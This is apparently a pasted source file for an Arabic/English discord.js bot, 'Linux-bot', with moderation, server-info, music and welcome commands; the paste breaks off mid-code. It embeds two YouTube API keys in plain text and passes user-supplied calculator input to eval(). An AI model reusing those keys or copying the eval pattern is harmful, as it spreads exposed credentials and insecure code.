· 5 years ago · Apr 12, 2020, 02:12 PM
1
2const http = require("http");
3const express = require("express");
4const app = express();
5app.get("/", (request, response) => {
6 response.sendStatus(200);
7});
8app.listen(process.env.PORT);
9setInterval(() => {
10 http.get(`http://linux-bot.glitch.me/`);
11}, 280000);
12
13// �� ������� ��� ���� ������ �� �� ���
14const { Client, RichEmbed } = require("discord.js");
15var { Util } = require("discord.js");
16const { TOKEN, YT_API_KEY, prefix, devs } = require("./config");
17const client = new Client({ disableEveryone: true });
18const ytdl = require("ytdl-core");
19const canvas = require("canvas");
20const Canvas = require("canvas");
21const convert = require("hh-mm-ss");
22const fetchVideoInfo = require("youtube-info");
23const botversion = require("./package.json").version;
24const simpleytapi = require("simple-youtube-api");
25const moment = require("moment");
26const fs = require("fs");
27const util = require("util");
28const gif = require("gif-search");
29const opus = require("node-opus");
30const ms = require("ms");
31const jimp = require("jimp");
32const { get } = require("snekfetch");
33const guild = require("guild");
34const dateFormat = require("dateformat"); //npm i dateformat
35const YouTube = require("simple-youtube-api");
36const youtube = new YouTube("AIzaSyAdORXg7UZUo7sePv97JyoDqtQVi3Ll0b8");
37const hastebins = require("hastebin-gen");
38const getYoutubeID = require("get-youtube-id");
39const yt_api_key = "AIzaSyDeoIH0u1e72AtfpwSKKOSy3IPp2UHzqi4";
40const pretty = require("pretty-ms");
41client.login(TOKEN);
42const queue = new Map();
43var table = require("table").table;
44const Discord = require("discord.js");
45client.on("ready", () => {
46 console.log(`Logged in as ${client.user.tag}!`);
47});
48
49//��� �������
50
51//
52
53client.on("message", async message => {
54 if (message.content.startsWith(prefix + "inv")) {
55 const invite = `**Invite: [No Any Perms](${await client.generateInvite()})
56Invite: [Administrator Perm](${await client.generateInvite([
57 "ADMINISTRATOR"
58 ])})**`;
59 message.channel.send(invite);
60 }
61});
62
63//
64
65client.on("message", async message => {
66 var prefix = "$"; /// البريفكس هون غيره يا بعد قلبي
67 if (message.content.startsWith(prefix + "infoinvite")) {
68 //// وهون الامر طبعا
69 let oi = message.mentions.users.first()
70 ? message.mentions.users.first().id
71 : message.author.id;
72 let Tag = message.mentions.users.first()
73 ? message.mentions.users.first().tag
74 : message.author.tag;
75 let Username = message.mentions.users.first()
76 ? message.mentions.users.first().username
77 : message.author.username;
78 let Avatar = message.mentions.users.first()
79 ? message.mentions.users.first().avatarURL
80 : message.author.avatarURL;
81
82 message.guild.fetchInvites().then(invs => {
83 let member = client.guilds.get(message.guild.id).members.get(oi);
84 let personalInvites = invs.filter(i => i.inviter.id === oi);
85 let urll = invs.filter(i => i.inviter.id === oi);
86 let link = urll.reduce(
87 (p, v) =>
88 v.url + ` , Total de membros recrutados no convite: ${v.uses}.\n` + p,
89 `\nServidor: ${message.guild.name} \n `
90 );
91 let inviteCount = personalInvites.reduce((p, v) => v.uses + p, 0);
92 let inviteCode = personalInvites.reduce((p, v) => v.code);
93 let possibleInvites = [["Total de membros recrutados:"]];
94 possibleInvites.push([inviteCount, inviteCode]);
95 let user = message.mentions.users.first() || message.author;
96 let mem = message.guild.member(user);
97 let millisJoined = new Date().getTime() - mem.joinedAt.getTime();
98 let daysJoined = millisJoined / 1000 / 60 / 60 / 24;
99
100 var inviteInfo = new Discord.RichEmbed()
101 .setTitle(`:incoming_envelope: **[INVITE INFO]** ${Username}`)
102 .setThumbnail(client.user.avatarURL)
103 .addField(
104 "**عدد الدعوات للسيرفر**",
105 `**➥** [ شخص **${Number(inviteCount)}** ]`
106 )
107 .addField(
108 "**تاريخ انضمامك لسيرفرنا **",
109 `**➥** [ منذ **${daysJoined.toFixed(0)}** يوم ]`
110 )
111 .addField(
112 "**رابط الدعوة الذي دخلت منه**",
113 `**➥** [ **https://discord.gg/${inviteCode || "Zm2U6we"}** ]`
114 )
115 .setColor("RANDOM")
116 .setTimestamp()
117 .setFooter(Tag, Avatar);
118
119 message.channel.send(inviteInfo);
120 });
121 }
122});
123
124//
125
126client.on("message", msg => {
127 if (msg.content === "$hide") {
128 if (!msg.member.hasPermission("ADMINISTRATOR"))
129 return msg.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
130 msg.guild.channels.forEach(c => {
131 c.overwritePermissions(msg.guild.id, {
132 SEND_MESSAGES: false,
133 READ_MESSAGES: false
134 });
135 });
136 msg.channel.send("تم اخفاء الرومات من الاعضاء");
137 }
138});
139
140client.on("message", msg => {
141 if (msg.content === "$unhide") {
142 if (!msg.member.hasPermission("ADMINISTRATOR"))
143 return msg.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
144 msg.guild.channels.forEach(c => {
145 c.overwritePermissions(msg.guild.id, {
146 SEND_MESSAGES: true,
147 READ_MESSAGES: true
148 });
149 });
150 msg.channel.send("تم اظهار الرومات كلها للاعضاء");
151 }
152});
153
154//عودة
155
156client.on("message", msg => {
157 // itzZa1D - Codes Team.
158 if (msg.content.startsWith(`<@${client.user.id}>`))
159 var botmention = new Discord.RichEmbed() // itzZa1D - Codes Team.
160 .setColor("#36393e") // itzZa1D - Codes Team.
161 .setDescription(
162 `Hey Im **Linux-bot !
163\`\`\`Public Prefix : ${prefix}
164My ID : ${client.user.id}\`\`\`**`
165 )
166 .addField("• **__Help Command__**", `\`${prefix}help\``, true) // itzZa1D - Codes Team.
167 .addField(
168 "• **__Bot Link__**",
169 `[Invite Link](https://discordapp.com/api/oauth2/authorize?client_id=${client.user.id}&permissions=8&scope=bot)`,
170 true
171 )
172 .addField(
173 "• **__Support Server__**",
174 `[Support Server](https://discord.gg/JfKzBV2)`,
175 false
176 )
177 .setFooter("Reqused By : " + msg.author.username, msg.author.avatarURL) // itzZa1D - Codes Team.
178 .setTimestamp(); // itzZa1D - Codes Team.
179 msg.channel.send(botmention);
180}); // itzZa1D - Codes Team.
181
182//
183
184client.on("message", msg => {
185 if (msg.content.startsWith(`${prefix}topservers`)) {
186 // Hamo , PixelBot Team
187 let noTop = msg.content.split(" ")[1];
188 const top = client.guilds
189 .sort((a, b) => a.memberCount - b.memberCount)
190 .array()
191 .reverse(); // Hamo , PixelBot Team
192 if (!noTop) noTop = 10; // Hamo , PixelBot Team
193 if (isNaN(noTop)) noTop = 10;
194 if (noTop <= 0) noTop = 10; // Hamo , PixelBot Team
195 if (noTop > top.length) noTop = top.length;
196 let serveremmbed = new Discord.RichEmbed(); // Hamo , PixelBot Team
197 for (let i = 0; i < noTop; i++) {
198 // Hamo , PixelBot Team
199 serveremmbed.addField(
200 `\n **⇏ ${top[i].name}** \n Members » ${top[i].memberCount}`,
201 " "
202 );
203 } // Hamo , PixelBot Team
204 serveremmbed.setTitle(`\n **Top ${noTop} Servers** \n`); // Hamo , PixelBot Team
205 serveremmbed.setThumbnail(msg.author.displayAvatarURL);
206 serveremmbed.setTimestamp(); // Hamo , PixelBot Team
207 serveremmbed.setFooter(client.user.username, client.user.displayAvatarURL);
208 msg.channel.send(serveremmbed);
209 }
210}); // Hamo , PixelBot Team
211
212//
213
214client.on("message", message => {
215 let args = message.content.split(" ");
216 let msg = args[1];
217 let time = args[2];
218 if (args[0] == prefix + "delmsg") {
219 if (message.author.id !== client.user.id) return;
220 if (!msg)
221 return console.log(
222 "[ERROR]: Type The Message After The Command Example: " +
223 prefix +
224 "delmsg hello 10s"
225 );
226 if (!time)
227 return console.log(
228 "[ERROR]: Type The Duration After The Message Example: " +
229 prefix +
230 "delmsg hello 10s"
231 );
232 if (!time.match(/[1-60][s,m,h,d,w]/g))
233 return console.log(
234 "[ERROR]: The Time Must Be Like That 10s, 3h, 5d, 6w,"
235 );
236 message.channel.send(msg).then(targetmsg => {
237 targetmsg.delete(ms(time));
238 console.log("[NOTE]: Command Used");
239 });
240 }
241});
242
243//
244
245client.on("message", message => {
246 var prefix = "$"; // البريفكس
247 if (message.content.startsWith(prefix + "server")) {
248 // الامر
249 if (!message.channel.guild) return message.reply(" ");
250 const millis = new Date().getTime() - message.guild.createdAt.getTime();
251 const now = new Date();
252 const verificationLevels = ["None", "Low", "Medium", "Insane", "Extreme"];
253 const days = millis / 1000 / 60 / 60 / 24;
254 let roles = client.guilds.get(message.guild.id).roles.map(r => r.name);
255 var embed = new Discord.RichEmbed()
256 .setAuthor(message.guild.name, message.guild.iconURL)
257 .addField("**? Server ID:**", message.guild.id, true)
258 .addField(
259 "**? Created On**",
260 message.guild.createdAt.toLocaleString(),
261 true
262 )
263 .addField(
264 "**? Owned by**",
265 `${message.guild.owner.user.username}#${message.guild.owner.user.discriminator}`
266 )
267 .addField("**? Members**", `[${message.guild.memberCount}]`, true)
268 .addField(
269 "**? Channels **",
270 `**${message.guild.channels.filter(m => m.type === "text").size}**` +
271 " text | Voice " +
272 `**${message.guild.channels.filter(m => m.type === "voice").size}** `,
273 true
274 )
275 .addField("**? Others **", message.guild.region, true)
276 .addField(
277 "**? Roles **",
278 `**[${message.guild.roles.size}]** Role `,
279 true
280 )
281 .setColor("#000000");
282
283 message.channel.sendEmbed(embed);
284 }
285});
286
287//
288
289//
290
291//
292
293client.on("message", message => {
294 if (message.author.bot) return;
295
296 if (!message.content.startsWith(prefix)) return;
297
298 let command = message.content.split(" ")[0];
299 command = command.slice(prefix.length);
300
301 let args = message.content.split(" ").slice(1);
302
303 // +say
304 if (command === "say") {
305 if (!message.channel.guild)
306 return message.channel
307 .send("هذا الأمر فقط للسيرفرات")
308 .then(m => m.delete(5000));
309 if (!message.member.hasPermission("ADMINISTRATOR"))
310 return message.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
311 message.delete();
312 message.channel.sendMessage(args.join(" "));
313 }
314
315 if (command == "embed") {
316 if (!message.channel.guild)
317 return message.channel
318 .send("هذا الأمر فقط للسيرفرات")
319 .then(m => m.delete(5000));
320 if (!message.member.hasPermission("MANAGE_MESSAGES"))
321 return message.channel.send("للأسف لا تمتلك صلاحية MANAGE_MESSAGES");
322 let say = new Discord.RichEmbed()
323 .setDescription(args.join(" "))
324 .setColor(0x23b2d6);
325 message.channel.sendEmbed(say);
326 message.delete();
327 }
328});
329
330//
331
332//
333
334//
335
336client.on("message", message => {
337 var prefix = "$";
338 if (message.author.x5bz) return;
339 if (!message.content.startsWith(prefix)) return;
340
341 let command = message.content.split(" ")[0];
342 command = command.slice(prefix.length);
343
344 let args = message.content.split(" ").slice(1);
345
346 if (command == "ban") {
347 if (!message.channel.guild)
348 return message.reply("** This command only for servers**");
349
350 if (!message.guild.member(message.author).hasPermission("BAN_MEMBERS"))
351 return message.reply("**You Don't Have ` BAN_MEMBERS ` Permission**");
352 if (!message.guild.member(client.user).hasPermission("BAN_MEMBERS"))
353 return message.reply("**I Don't Have ` BAN_MEMBERS ` Permission**");
354 let user = message.mentions.users.first();
355 let reason = message.content
356 .split(" ")
357 .slice(2)
358 .join(" ");
359 if (message.mentions.users.size < 1)
360 return message.channel.send(`https://cdn.pg.sa/fjxlms81nk.png`);
361 if (!reason)
362 return message.channel.send(`https://cdn.pg.sa/fjxlms81nk.png`);
363 if (!message.guild.member(user).bannable)
364 return message.reply(`This User Is Have High Role !`);
365
366 message.guild.member(user).ban(7, user);
367
368 const banembed = new Discord.RichEmbed()
369 .setAuthor(`BANNED!`, user.displayAvatarURL)
370 .setColor("RANDOM")
371 .setTimestamp()
372 .addField("**User:**", "**[ " + `${user.tag}` + " ]**")
373 .addField("**By:**", "**[ " + `${message.author.tag}` + " ]**")
374 .addField("**Reason:**", "**[ " + `${reason}` + " ]**");
375 message.channel.send({
376 embed: banembed
377 });
378 }
379});
380
381//
382
383client.on("message", message => {
384 if (message.content.startsWith(prefix + "clear")) {
385 if (!message.member.hasPermission("MANAGE_MESSAGES"))
386 return message.channel.send(`لاتمتلك الصلاحيات لفعل ذلك! :x:`);
387
388 let args = message.content
389 .split(" ")
390 .slice(1)
391 .join(" ");
392 message.delete();
393 if (!args)
394 return message.channel
395 .send(`${this.usage} <count>`)
396 .then(msg => msg.delete(2500));
397 message.delete();
398 if (args.length > 100)
399 return message.channel.send(`Max Clear Count = 100!`);
400 message.channel.bulkDelete(args);
401 message.channel
402 .send({
403 embed: {
404 description: `:white_check_mark: - تم حذف ${args} رساله!`
405 }
406 })
407 .then(message => message.delete(1000));
408 }
409});
410
411//
412
413client.on("message", message => {
414 if (message.content.startsWith(prefix + "ibot")) {
415 var mbot = message.mentions.members.first();
416 message.channel.send(
417 `https://discordapp.com/api/oauth2/authorize?client_id=${mbot.id}&permissions=0&scope=bot`
418 );
419 }
420});
421
422//
423
424//bc
425
426//bc online
427
428//
429
430//
431
432client.on("message", message => {
433 if (message.content.startsWith("$kick")) {
434 if (!message.member.hasPermission("ADMINISTRATOR"))
435 return message.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
436 const member = message.mentions.members.first();
437
438 if (!member) {
439 return message.reply(
440 `Who are you trying to kick? You must mention a user.`
441 );
442 }
443
444 if (!member.kickable) {
445 return message.reply(`I can't kick this user. Sorry!`);
446 }
447
448 return member
449 .kick()
450 .then(() => message.reply(`${member.user.tag} was kicked.`))
451 .catch(error => message.reply(`Sorry, an error occured.`));
452 }
453});
454
455//
456
457client.on("message", async message => {
458 if (message.content.startsWith(prefix + "sugg")) {
459 await message.channel.send(`اكتب اقتراحك الان`);
460 let filter = m => m.author.id === message.author.id;
461 var text = "";
462 let sugsa = message.channel
463 .awaitMessages(filter, { max: 1, time: 60000 })
464 .then(co => {
465 text = co.first().content;
466
467 message.channel.send(
468 `تم حفظ اقتراحك الرجاء انتضار الرد من قبل الاداره`
469 );
470 client.channels
471 .get("619621586575818755")
472 .send(`${message.author.username}'s sug => ${text}`);
473 });
474 }
475});
476
477//
478
479client.on("message", async msg => {
480 if (msg.channel.type === "dm") return;
481 if (msg.author.bot) return;
482 var prefix = "$";
483 if (msg.content.startsWith(prefix + "setstats")) {
484 if (!msg.guild.member(msg.author).hasPermissions("MANAGE_CHANNELS"))
485 return msg.reply("❌ **go play minecraft**");
486 if (!msg.guild.member(client.user).hasPermissions(["MANAGE_CHANNELS"]))
487 return msg.reply("❌ **البوت لا يمتلك صلاحية**");
488 var ggg = msg.guild.createChannel("SERVER STATS", "category").then(kk => {
489 var ccc = msg.guild.createChannel("SERVER STATS", "voice").then(al => {
490 var aa = msg.guild.createChannel("SERVER STATS", "voice").then(alp => {
491 var aaa = msg.guild
492 .createChannel("SERVER STATS", "voice")
493 .then(alph => {
494 al.setParent(kk);
495 alp.setParent(kk);
496 alph.setParent(kk);
497
498 al.overwritePermissions(msg.guild.id, {
499 CONNECT: false,
500 SPEAK: false
501 });
502 alp.overwritePermissions(msg.guild.id, {
503 CONNECT: false,
504 SPEAK: false
505 });
506 alph.overwritePermissions(msg.guild.id, {
507 CONNECT: false,
508 SPEAK: false
509 });
510 setInterval(() => {
511 var currentTime = new Date(),
512 hours = currentTime.getHours() + 3,
513 minutes = currentTime.getMinutes(),
514 Seconds = currentTime.getSeconds(),
515 Year = currentTime.getFullYear(),
516 Month = currentTime.getMonth() + 1,
517 Dat = currentTime.getDate();
518 if (minutes < 10) {
519 minutes = "0" + minutes;
520 }
521 var suffix = "AM";
522 if (hours >= 12) {
523 suffix = "PM";
524 hours = hours - 12;
525 }
526 if (hours == 0) {
527 hours = 12;
528 }
529 al.setName(
530 `Voice Online :[ ${
531 msg.guild.members.filter(m => m.voiceChannel).size
532 } ]`
533 );
534 alp.setName(
535 `Time :[${hours} : ${minutes} : ${Seconds} ${suffix}]`
536 );
537 alph.setName(`[ Date : [${Year} - ${Month} - ${Dat} ]`);
538 }, 1000);
539 });
540 });
541 });
542 });
543 }
544});
545
546//
547
548client.on("message", message => {
549 if (message.content === `${prefix}help`) {
550 const embed = new Discord.RichEmbed().setColor("#000000").setDescription(`
551?????Linux-bot?????
552
553${prefix}hero =====> افضل السبورت للبوت
554
555${prefix}editserver =====> اوامر تعديل على سيرفر وتسهيله
556
557${prefix}chro =====> رومات والرولات الازمة للبوت
558
559${prefix}admin =====> اوامر ادمنية
560
561${prefix}games =====> العاب
562
563${prefix}public =====> اوامر عامه
564
565${prefix}music =====> اواامر الميوزك
566
567${prefix}ticket =====> اوامر التكت
568
569${prefix}Protection =====> اوامر الحمايه
570
571${prefix}support =====> لدخول سيرفر السبورت
572`);
573 message.channel.sendEmbed(embed);
574 }
575});
576
577//
578client.on("message", message => {
579 if (message.content === prefix + "mutechannel") {
580 if (!message.channel.guild)
581 return message.reply(" This command only for servers");
582 if (!message.member.hasPermission("MANAGE_MESSAGES"))
583 return message.reply(" ليس لديك صلاحيات");
584 message.channel
585 .overwritePermissions(message.guild.id, {
586 SEND_MESSAGES: false
587 })
588 .then(() => {
589 message.reply("**تم تقفيل الشات** ✅ ");
590 });
591 }
592 if (message.content === prefix + "unmutechannel") {
593 if (!message.channel.guild)
594 return message.reply(" This command only for servers");
595 if (!message.member.hasPermission("MANAGE_MESSAGES"))
596 return message.reply("ليس لديك صلاحيات");
597 message.channel
598 .overwritePermissions(message.guild.id, {
599 SEND_MESSAGES: true
600 })
601 .then(() => {
602 message.reply("**تم فتح الشات** ✅ ");
603 });
604 }
605});
606
607//
608
609//
610
611client.on("message", message => {
612 if (message.content === prefix + "hidechannel") {
613 if (!message.channel.guild)
614 return message.reply(" This command only for servers");
615 if (!message.member.hasPermission("MANAGE_MESSAGES"))
616 return message.reply(" ليس لديك صلاحيات");
617 message.channel
618 .overwritePermissions(message.guild.id, {
619 SEND_MESSAGES: false,
620 READ_MESSAGES: false
621 })
622 .then(() => {
623 message.reply("**تم اخفاء الشات** ✅ ");
624 });
625 }
626 if (message.content === prefix + "unhidechannel") {
627 if (!message.channel.guild)
628 return message.reply(" This command only for servers");
629 if (!message.member.hasPermission("MANAGE_MESSAGES"))
630 return message.reply("ليس لديك صلاحيات");
631 message.channel
632 .overwritePermissions(message.guild.id, {
633 SEND_MESSAGES: true,
634 READ_MESSAGES: true
635 })
636 .then(() => {
637 message.reply("**تم اظهار الشات** ✅ ");
638 });
639 }
640});
641
642//
643
644client.on("ready", message => {
645 client.user.setActivity("$help | $support", { type: "Streaming" });
646});
647
648//
649
650client.on("message", async message => {
651 if (message.content.startsWith(prefix + "order")) {
652 if (!message.guild.roles.find("name", "order")) return;
653 await message.channel.send(`اكتب طلبك الان`);
654 let filter = m => m.author.id === message.author.id;
655 var text = "";
656 let sugsa = message.channel
657 .awaitMessages(filter, { max: 1, time: 60000 })
658 .then(co => {
659 text = co.first().content;
660 message.channel.send("تم الارسال");
661 message.guild.channels
662 .find("name", "order")
663 .send(`${message.author.username}'s order => ${text}`);
664 });
665 }
666});
667
668//
669
670//when a message is sent "message" event is emitted and we get the message object defined as "message"
671client.on("message", async message => {
672 // checks if its in dms or the author is a bot it will return nothing
673 if (message.channel.type === "dm" || message.author.bot) return;
674 // splits the message content
675 let mArray = message.content.split(" ");
676 // checks if the message starts with the prefix if not it will return false
677 let cmd = mArray[0].startsWith("$") ? mArray[0].substring("$".length) : false;
678 // we get the array of the message content that we split above and get all the elements that aren"t the command
679 let args = mArray.slice(1);
680 // if the cmd is false it will return nothing
681 if (!cmd) return;
682 // we get the message as 1 item in an array but without the command
683 let exp = message.content.split(cmd);
684 // if the command is "c"
685 if (cmd === "c") {
686 // if there isn"t an expression to calculate it will return nothing
687 if (!args[0]) return;
688 // the regex of a simple expresssion like 1+1
689 let RegEx = /([0-9]{1,5}) ?[*,x,+,-,/] ?([0-9]{1,5})/g;
690 // it gets an array of the expressions in the message
691 let expr = await RegEx.exec(exp[1]);
692 // if there isn"t it will return false so if its false we send a message
693 if (expr === null || !expr)
694 return message.channel.send(`oh uh, You forgot the expression`);
695 // so we eval the expression because its a string so we eval it and replace the x as * so we get a correct expression
696 let result = eval(expr[0].replace(/x/g, "*"));
697 // finally we send the result in the chat
698 message.channel.send(result);
699 }
700});
701
702//
703
704//
705
706//
707
708client.on("message", async message => {
709 if (!message.guild || message.author.bot) return;
710 let args = message.content.split(" ");
711 let prefix = "$";
712 if (args[0] == `${prefix}cr`) {
713 if (!message.member.hasPermission("ADMINISTRATOR"))
714 return message.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
715 if (
716 !message.guild.me.hasPermission("MANAGE_ROLES") ||
717 !message.member.hasPermission("MANAGE_ROLES")
718 )
719 return;
720 if (!args[1] || !args[2])
721 return message.reply(
722 `Usage: ${args[0]} [role color] [role name]\nExample: ${
723 args[0]
724 } blue Admin`
725 );
726 try {
727 let role = await message.guild.createRole({
728 name: args.slice(2).join(" ") || "new role",
729 color: args[1].toUpperCase() || null
730 });
731 await message.reply(`Done, Created **${role.name}** role!`);
732 } catch (e) {
733 message.reply(`Error! ${e.message || e}`);
734 }
735 }
736});
737
738//
739
740client.on("guildMemberAdd", member => {
741 let channel = member.guild.channels.find("name", "welcome");
742 let role = member.guild.roles.find("name", "welcome");
743 let memberavatar = member.user.avatarURL;
744 if (!role) return;
745 if (!channel) return;
746 let embed = new Discord.RichEmbed()
747 .setColor("RANDOM")
748 .setThumbnail(memberavatar)
749 .addField(":running_shirt_with_sash: | name : ", `${member}`)
750 .addField(
751 ":loudspeaker: | نورت السيرفر يا قلبي",
752 `Welcome to the server, ${member}`
753 )
754 .addField(":id: | user :", "**[" + `${member.id}` + "]**")
755 .addField("➡| انت العضو رقم", `${member.guild.memberCount}`)
756
757 .addField("Name:", `<@` + `${member.id}` + `>`, true)
758
759 .addField(" الـسيرفر", `${member.guild.name}`, true)
760
761 .setFooter(`${member.guild.name}`)
762 .setTimestamp();
763
764 channel.sendEmbed(embed);
765});
766
767client.on("guildMemberRemove", member => {
768 var embed = new Discord.RichEmbed()
769 .setAuthor(member.user.username, member.user.avatarURL)
770 .setThumbnail(member.user.avatarURL)
771 .setTitle(`الله معاك :raised_hand::skin-tone-1: :pensive:`)
772 .setDescription(
773 `مع السلامه تشرفنا بك :raised_hand::skin-tone-1: :pensive: `
774 )
775 .addField(
776 ":bust_in_silhouette: تبقي",
777 `**[ ${member.guild.memberCount} ]**`,
778 true
779 )
780 .setColor("RED")
781 .setFooter(
782 `==== نــتــمــنــآ لــكــم آســتــمـــتــآع ====`,
783 "https://cdn.discordapp.com/attachments/397818254439219217/399292026782351381/shy.png"
784 );
785
786 var channel = member.guild.channels.find("name", "goodbye");
787 var role = member.guild.roles.find("name", "goodbye");
788 if (!role) return;
789 if (!channel) return;
790 channel.send({ embed: embed });
791});
792
793//
794
795client.on("message", async msg => {
796 if (msg.author.bot) return undefined;
797
798 if (!msg.content.startsWith(prefix)) return undefined;
799 const args = msg.content.split(" ");
800 const searchString = args.slice(1).join(" ");
801
802 const url = args[1] ? args[1].replace(/<(.+)>/g, "$1") : "";
803 const serverQueue = queue.get(msg.guild.id);
804
805 let command = msg.content.toLowerCase().split(" ")[0];
806 command = command.slice(prefix.length);
807
808 if (command === `play`) {
809 const voiceChannel = msg.member.voiceChannel;
810 if (!voiceChannel) return msg.channel.send("يجب توآجد حضرتك بروم صوتي .");
811 const permissions = voiceChannel.permissionsFor(msg.client.user);
812 if (!permissions.has("CONNECT")) {
813 return msg.channel.send("لا يتوآجد لدي صلاحية للتكلم بهذآ الروم");
814 }
815 if (!permissions.has("SPEAK")) {
816 return msg.channel.send("لا يتوآجد لدي صلاحية للتكلم بهذآ الروم");
817 }
818
819 if (!permissions.has("EMBED_LINKS")) {
820 return msg.channel.sendMessage("**يجب توآفر برمشن `EMBED LINKS`لدي **");
821 }
822
823 if (url.match(/^https?:\/\/(www.youtube.com|youtube.com)\/playlist(.*)$/)) {
824 const playlist = await youtube.getPlaylist(url);
825 const videos = await playlist.getVideos();
826
827 for (const video of Object.values(videos)) {
828 const video2 = await youtube.getVideoByID(video.id); // eslint-disable-line no-await-in-loop
829 await handleVideo(video2, msg, voiceChannel, true); // eslint-disable-line no-await-in-loop
830 }
831 return msg.channel.send(
832 ` **${playlist.title}** تم الإضآفة إلى قأئمة التشغيل`
833 );
834 } else {
835 try {
836 var video = await youtube.getVideo(url);
837 } catch (error) {
838 try {
839 var videos = await youtube.searchVideos(searchString, 5);
840 let index = 0;
841 const embed1 = new Discord.RichEmbed()
842 .setDescription(
843 `**الرجآء من حضرتك إختيآر رقم المقطع** :
844${videos.map(video2 => `[**${++index} **] \`${video2.title}\``).join("\n")}`
845 )
846
847 .setFooter("By @TS SHADY CRAFT RS#0965 ");
848 msg.channel.sendEmbed(embed1).then(message => {
849 message.delete(20000);
850 });
851
852 // eslint-disable-next-line max-depth
853 try {
854 var response = await msg.channel.awaitMessages(
855 msg2 => msg2.content > 0 && msg2.content < 11,
856 {
857 maxMatches: 1,
858 time: 15000,
859 errors: ["time"]
860 }
861 );
862 } catch (err) {
863 console.error(err);
864 return msg.channel.send("لم يتم إختيآر مقطع صوتي");
865 }
866 const videoIndex = parseInt(response.first().content);
867 var video = await youtube.getVideoByID(videos[videoIndex - 1].id);
868 } catch (err) {
869 console.error(err);
870 return msg.channel.send(":X: لا يتوفر نتآئج بحث ");
871 }
872 }
873
874 return handleVideo(video, msg, voiceChannel);
875 }
876 } else if (command === `skip`) {
877 if (!msg.member.voiceChannel)
878 return msg.channel.send("أنت لست بروم صوتي .");
879 if (!serverQueue) return msg.channel.send("لا يتوفر مقطع لتجآوزه");
880 serverQueue.connection.dispatcher.end("تم تجآوز هذآ المقطع");
881 return undefined;
882 } else if (command === `leave`) {
883 if (!msg.member.voiceChannel)
884 return msg.channel.send("أنت لست بروم صوتي .");
885 if (!serverQueue) return msg.channel.send("لا يتوفر مقطع لإيقآفه");
886 serverQueue.songs = [];
887 serverQueue.connection.dispatcher.end("تم إيقآف هذآ المقطع");
888 return undefined;
889 } else if (command === `vol`) {
890 if (!msg.member.voiceChannel)
891 return msg.channel.send("أنت لست بروم صوتي .");
892 if (!serverQueue) return msg.channel.send("لا يوجد شيء شغآل.");
893 if (!args[1])
894 return msg.channel.send(
895 `:loud_sound: مستوى الصوت **${serverQueue.volume}**`
896 );
897 serverQueue.volume = args[1];
898 serverQueue.connection.dispatcher.setVolumeLogarithmic(args[1] / 50);
899 return msg.channel.send(`:speaker: تم تغير الصوت الي **${args[1]}**`);
900 } else if (command === `np`) {
901 if (!serverQueue) return msg.channel.send("لا يوجد شيء حالي ف العمل.");
902 const embedNP = new Discord.RichEmbed().setDescription(
903 `:notes: الان يتم تشغيل : **${serverQueue.songs[0].title}**`
904 );
905 return msg.channel.sendEmbed(embedNP);
906 } else if (command === `queue`) {
907 if (!serverQueue) return msg.channel.send("لا يوجد شيء حالي ف العمل.");
908 let index = 0;
909
910 const embedqu = new Discord.RichEmbed().setDescription(`**Songs Queue**
911${serverQueue.songs.map(song => `**${++index} -** ${song.title}`).join("\n")}
912**الان يتم تشغيل** ${serverQueue.songs[0].title}`);
913 return msg.channel.sendEmbed(embedqu);
914 } else if (command === `stop`) {
915 if (serverQueue && serverQueue.playing) {
916 serverQueue.playing = false;
917 serverQueue.connection.dispatcher.pause();
918 return msg.channel.send("تم إيقاف الموسيقى مؤقتا!");
919 }
920 return msg.channel.send("لا يوجد شيء حالي ف العمل.");
921 } else if (command === "resume") {
922 if (serverQueue && !serverQueue.playing) {
923 serverQueue.playing = true;
924 serverQueue.connection.dispatcher.resume();
925 return msg.channel.send("استأنفت الموسيقى بالنسبة لك !");
926 }
927 return msg.channel.send("لا يوجد شيء حالي في العمل.");
928 }
929
930 return undefined;
931});
932
933async function handleVideo(video, msg, voiceChannel, playlist = false) {
934 const serverQueue = queue.get(msg.guild.id);
935 console.log(video);
936
937 const song = {
938 id: video.id,
939 title: Util.escapeMarkdown(video.title),
940 url: `https://www.youtube.com/watch?v=${video.id}`
941 };
942 if (!serverQueue) {
943 const queueConstruct = {
944 textChannel: msg.channel,
945 voiceChannel: voiceChannel,
946 connection: null,
947 songs: [],
948 volume: 5,
949 playing: true
950 };
951 queue.set(msg.guild.id, queueConstruct);
952
953 queueConstruct.songs.push(song);
954
955 try {
956 var connection = await voiceChannel.join();
957 queueConstruct.connection = connection;
958 play(msg.guild, queueConstruct.songs[0]);
959 } catch (error) {
960 console.error(`I could not join the voice channel: ${error}`);
961 queue.delete(msg.guild.id);
962 return msg.channel.send(`لا أستطيع دخول هذآ الروم ${error}`);
963 }
964 } else {
965 serverQueue.songs.push(song);
966 console.log(serverQueue.songs);
967 if (playlist) return undefined;
968 else
969 return msg.channel.send(
970 ` **${song.title}** تم اضافه الاغنية الي القائمة!`
971 );
972 }
973 return undefined;
974}
975
976function play(guild, song) {
977 const serverQueue = queue.get(guild.id);
978
979 if (!song) {
980 serverQueue.voiceChannel.leave();
981 queue.delete(guild.id);
982 return;
983 }
984 console.log(serverQueue.songs);
985
986 const dispatcher = serverQueue.connection
987 .playStream(ytdl(song.url))
988 .on("end", reason => {
989 if (reason === "Stream is not generating quickly enough.")
990 console.log("Song ended.");
991 else console.log(reason);
992 serverQueue.songs.shift();
993 play(guild, serverQueue.songs[0]);
994 })
995 .on("error", error => console.error(error));
996 dispatcher.setVolumeLogarithmic(serverQueue.volume / 5);
997
998 serverQueue.textChannel.send(`بدء تشغيل : **${song.title}**`);
999}
1000
1001//
1002
1003client.on("message", message => {
1004 if (message.content.startsWith("$members")) {
1005 // BY KIllerFox ==== KillerFox
1006 let pages = [
1007 `**
1008:green_heart: online: ${
1009 message.guild.members.filter(m => m.presence.status == "online").size
1010 }
1011:heart: dnd: ${
1012 message.guild.members.filter(m => m.presence.status == "dnd").size
1013 }
1014:yellow_heart: idle: ${
1015 message.guild.members.filter(m => m.presence.status == "idle").size
1016 }
1017:diamond_shape_with_a_dot_inside: membersCount: ${message.guild.memberCount -
1018 message.guild.members.filter(m => m.user.bot).size}
1019:bulb: bots: ${message.guild.members.filter(m => m.user.bot).size} **
1020`,
1021 ` **
1022:green_heart: المتواجدين : ${
1023 message.guild.members.filter(m => m.presence.status == "online").size
1024 }
